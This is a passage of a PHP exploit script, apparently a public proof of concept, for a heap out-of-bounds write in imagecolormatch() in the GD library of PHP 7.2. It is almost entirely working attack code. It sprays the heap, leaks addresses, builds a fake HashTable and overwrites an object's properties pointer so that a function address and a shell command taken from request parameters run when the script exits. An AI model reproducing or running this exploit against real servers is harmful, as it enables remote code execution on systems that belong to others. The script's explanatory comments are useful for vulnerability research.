&c= # Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi # # Target: PHP 7.2.x # Tested on: PHP 7.2.12 # /* buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0); for (x=0; xsx; x++) { for( y=0; ysy; y++ ) { color = im2->pixels[y][x]; rgb = im1->tpixels[y][x]; bp = buf + (color * 5); (*(bp++))++; *(bp++) += gdTrueColorGetRed(rgb); *(bp++) += gdTrueColorGetGreen(rgb); *(bp++) += gdTrueColorGetBlue(rgb); *(bp++) += gdTrueColorGetAlpha(rgb); } The buffer is written to by means of a color being the index: color = im2->pixels[y][x]; .. bp = buf + (color * 5); */ # # The bug allows us to increment 5 longs located after buf in memory. # The first long is incremented by one, others by an arbitrary value between 0 # and 0xff. # error_reporting(E_ALL); define('OFFSET_STR_VAL', 0x18); define('BYTES_PER_COLOR', 0x28); class Nenuphar extends DOMNode { # Add a property so that std.properties is created function __construct() { $this->x = '1'; } # Define __get # => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS # => zend_object_properties_size() == 0 # => sizeof(intern) == 0x50 function __get($x) { return $this->$x; } } class Nenuphar2 extends DOMNode { function __construct() { $this->x = '2'; } function __get($x) { return $this->$x; } } function ptr2str($ptr, $m=8) { $out = ""; for ($i=0; $i<$m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function str2ptr(&$str, $p, $s=8) { $address = 0; for($j=$p+$s-1;$j>=$p;$j--) { $address <<= 8; $address |= ord($str[$j]); } return $address; } # Spray stuff so that we get concurrent memory blocks for($i=0;$i<100;$i++) ${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL); for($i=0;$i<100;$i++) ${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL); # # #1: Address leak # We want to obtain the address of a string so that we can make # the Nenuphar.std.properties HashTable* point to it and hence control its # structure. # # We create two images $img1 and $img2, both of 1 pixel. # The RGB bytes of the pixel of $img1 will be added to OOB memory because we set # $img2 to have $nb_colors images and we set its only pixel to color number # $nb_colors. # $nb_colors = 12; $size_buf = $nb_colors * BYTES_PER_COLOR; # One pixel image so that the double loop iterates only once $img1 = imagecreatetruecolor(1, 1); # The three RGB values will be added to OOB memory # First value (Red) is added to the size of the zend_string structure which # lays under buf in memory. $color = imagecolorallocate($img1, 0xFF, 0, 0); imagefill($img1, 0, 0, $color); $img2 = imagecreate(1, 1); # Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0 # which puts buf in 0x200 memory blocks for($i=0;$i<$nb_colors;$i++) imagecolorallocate($img2, 0, 0, $i); imagesetpixel($img2, 0, 0, $nb_colors + 1); # Create a memory layout as such: # [z: zend_string: 0x200] # [x: zend_string: 0x200] # [y: zend_string: 0x200] $z = str_repeat('Z', $size_buf - OFFSET_STR_VAL); $x = str_repeat('X', $size_buf - OFFSET_STR_VAL); $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL); # Then, we unset z and call imagecolormatch(); buf will be at z's memory # location during the execution # [buf: long[] : 0x200] # [x: zend_string: 0x200] # [y: zend_string: 0x200] # # We can write buf + 0x208 + (0x08 or 0x10 or 0x18) # buf + 0x208 + 0x08 is X's zend_string.len unset($z); imagecolormatch($img1, $img2); # Now, $x's size has been increased by 0xFF, so we can read further in memory. # # Since buf was the last freed block, by unsetting y, we make its first 8 bytes # point to the old memory location of buf # [free: 0x200] <-+ # [x: zend_string: 0x200] | # [free: 0x200] --+ unset($y); # We can read those bytes because x's size has been increased $z_address = str2ptr($x, 488) + OFFSET_STR_VAL; # Reset both these variables so that their slot cannot be "stolen" by other # allocations $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8); # Now that we have z's address, we can make something point to it. # We create a fake HashTable structure in Z; when the script exits, each element # of this HashTable will be destroyed by calling ht->pDestructor(element) # The only element here is a string: "id" $z = # refcount ptr2str(1) . # u-nTableMask meth ptr2str(0) . # Bucket arData ptr2str($z_address + 0x38) . # uint32_t nNumUsed; ptr2str(1, 4) . # uint32_t nNumOfElements; ptr2str(1, 4) . # uint32_t nTableSize ptr2str(0, 4) . # uint32_t nInternalPointer ptr2str(0, 4) . # zend_long nNextFreeElement ptr2str(0x4242424242424242) . # dtor_func_t pDestructor ptr2str(hexdec($_REQUEST['f'])) . str_pad($_REQUEST['c'], 0x100, "\x00") . ptr2str(0, strlen($y) - 0x38 - 0x100); ; # At this point we control a string $z and we know its address: we'll make an # internal PHP HashTable structure point to it. # # #2: Read Nenuphar.std.properties # # The tricky part here was to find an interesting PHP structure that is # allocated in the same fastbins as buf, so that we can modify one of its # internal pointers. Since buf has to be a multiple of 0x28, I used dom_object, # whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just # one extra method, __get(). # php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type)); # Since we defined a __get() method, zend_object_properties_size(class_type) = 0 # and not -0x10. # # zend_object.properties points to an HashTable. Controlling an HashTable in PHP # means code execution since at the end of the script, every element of an HT is # destroyed by calling ht.pDestructor(ht.arData[i]). # Hence, we want to change the $nenuphar.std.properties pointer. # # To proceed, we first read $nenuphar.std.properties, and then increment it # by triggering the bug several times, until # $nenuphar.std.properties == $z_address # # Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger # the bug. This is due to (*(bp++))++ (in gdImageColorMatch). # To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and # instanciate them as $nenuphar and $nenuphar2. After we're done changing the # std.properties pointer, we trigger the bug more times, until # $nenuphar.std.ce == $nenuphar2.std.ce2 # # This way, $nenuphar will have an arbitrary std.properties pointer, and its # std.ce will be valid. # # Afterwards, we let the script exit, which will destroy our fake hashtable (Z), # and therefore call our arbitrary function. # # Here we want fastbins of size 0x50 to match dom_object's size $nb_colors = 2; $size_buf = $nb_colors * BYTES_PER_COLOR; $img1 = imagecreatetruecolor(1, 1); # The three RGB values will be added to OOB memory # Second value (Green) is added to the size of the zend_string structure which # lays under buf in memory. $color = imagecolorallocate($img1, 0, 0xFF, 0); imagefill($img1, 0, 0, $color); # Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50 $img2 = imagecreate(1, 1); for($i=0;$i<$nb_colors;$i++) imagecolorallocate($img2, 0, 0, $i); $y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8); $x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8); $nenuphar = new Nenuphar(); $nenuphar2 = new Nenuphar2(); imagesetpixel($img2, 0, 0, $nb_colors); # Unsetting the first string so that buf takes its place unset($y); # Trigger the bug: $x's size is increased by 0xFF imagecolormatch($img1, $img2); $ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28); $ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28); $props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38); print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n"); print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n"); print('Nenuphar.properties: 0x' . dechex($props_address) . "\n"); print('z.val: 0x' . dechex($z_address) . "\n"); print('Difference: 0x' . dechex($z_address-$props_address) . "\n"); if( $ce2_address - $ce1_address < ($z_address-$props_address) / 0xff || $z_address - $props_address < 0 ) { print('That won\'t work'); exit(0); } # # #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce # # Each time we increment Nenuphar.properties by an arbitrary value, ce1_address # is also incremented by one because of (*(bp++))++; # Therefore after we're done incrementing props_address to z_address we need # to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce # The memory structure we have ATM is OK. We can just trigger the bug again # until Nenuphar.properties == z_address $color = imagecolorallocate($img1, 0, 0xFF, 0); imagefill($img1, 0, 0, $color); imagesetpixel($img2, 0, 0, $nb_colors + 3); for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF) { imagecolormatch($img1, $img2); $ce1_address++; } $color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0); imagefill($img1, 0, 0, $color); $current = imagecolormatch($img1, $img2); $ce1_address++; # Since we don't want to touch other values, only increase the first one, we set # the three colors to 0 $color = imagecolorallocate($img1, 0, 0, 0); imagefill($img1, 0, 0, $color); # Trigger the bug once to increment ce1 by one. while($ce1_address++ < $ce2_address) { imagecolormatch($img1, $img2); } # Read the string again to see if we were successful $new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28); $new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38); if($new_ce1_address == $ce2_address && $new_props_address == $z_address) { print("\nExploit SUCCESSFUL !\n"); } else { print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n"); print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n"); print("\nExploit FAILED !\n"); }